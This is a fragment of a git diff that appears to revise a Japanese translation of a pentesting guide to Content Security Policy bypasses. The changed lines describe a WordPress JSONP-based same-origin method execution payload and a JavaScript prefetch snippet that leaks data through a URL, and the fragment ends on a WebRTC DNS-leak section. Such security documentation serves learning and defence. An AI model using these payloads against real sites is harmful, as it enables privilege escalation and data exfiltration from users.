攻撃者は、そのエンドポイントを悪用してWordPressに対して**SOME攻撃を生成**し、`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`内に**埋め込む**ことができます。この**スクリプト**は、**'self'によって許可されているため、**ロードされます。さらに、WordPressがインストールされているため、攻撃者は**CSPをバイパスする**脆弱な**コールバック**エンドポイントを通じて**SOME攻撃を悪用**し、ユーザーにより多くの権限を与えたり、新しいプラグインをインストールしたりすることができます...\
|
||||
この攻撃を実行する方法の詳細については、[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)を確認してください。
|
||||
攻撃者は、そのエンドポイントを悪用してWordPressに対して**SOME攻撃を生成**し、`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`内に**埋め込む**ことができます。この**スクリプト**は、**'self'によって許可されているため**、**読み込まれます**。さらに、WordPressがインストールされているため、攻撃者は**CSPをバイパスする**脆弱な**コールバック**エンドポイントを通じて**SOME攻撃を悪用**し、ユーザーにより多くの権限を与えたり、新しいプラグインをインストールしたりすることができます。\
|
||||
この攻撃を実行する方法についての詳細は、[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)を確認してください。
|
||||
|
||||
## CSP Exfiltration Bypasses
|
||||
|
||||
@ -669,7 +669,7 @@ linkEl.rel = "prefetch"
|
||||
linkEl.href = urlWithYourPreciousData
|
||||
document.head.appendChild(linkEl)
|
||||
```
|
||||
この問題を避けるために、サーバーは次のHTTPヘッダーを送信できます:
|
||||
この問題を避けるために、サーバーはHTTPヘッダーを送信できます:
|
||||
```
|
||||
X-DNS-Prefetch-Control: off
|
||||
```
|
||||
@ -678,7 +678,7 @@ X-DNS-Prefetch-Control: off
|
||||
|
||||
### WebRTC
|
||||
|
||||
いくつかのページで、**WebRTCはCSPの`connect-src`ポリシーをチェックしない**と記載されています。
|
||||
いくつかのページでは、**WebRTCはCSPの`connect-src`ポリシーをチェックしない**と記載されています。
|
||||
|
||||
実際、_DNSリクエスト_を使用して情報を_リーク_することができます。このコードを確認してください:
|
||||
```javascript
|
||||
|
Loading…
x
Reference in New Issue
Block a user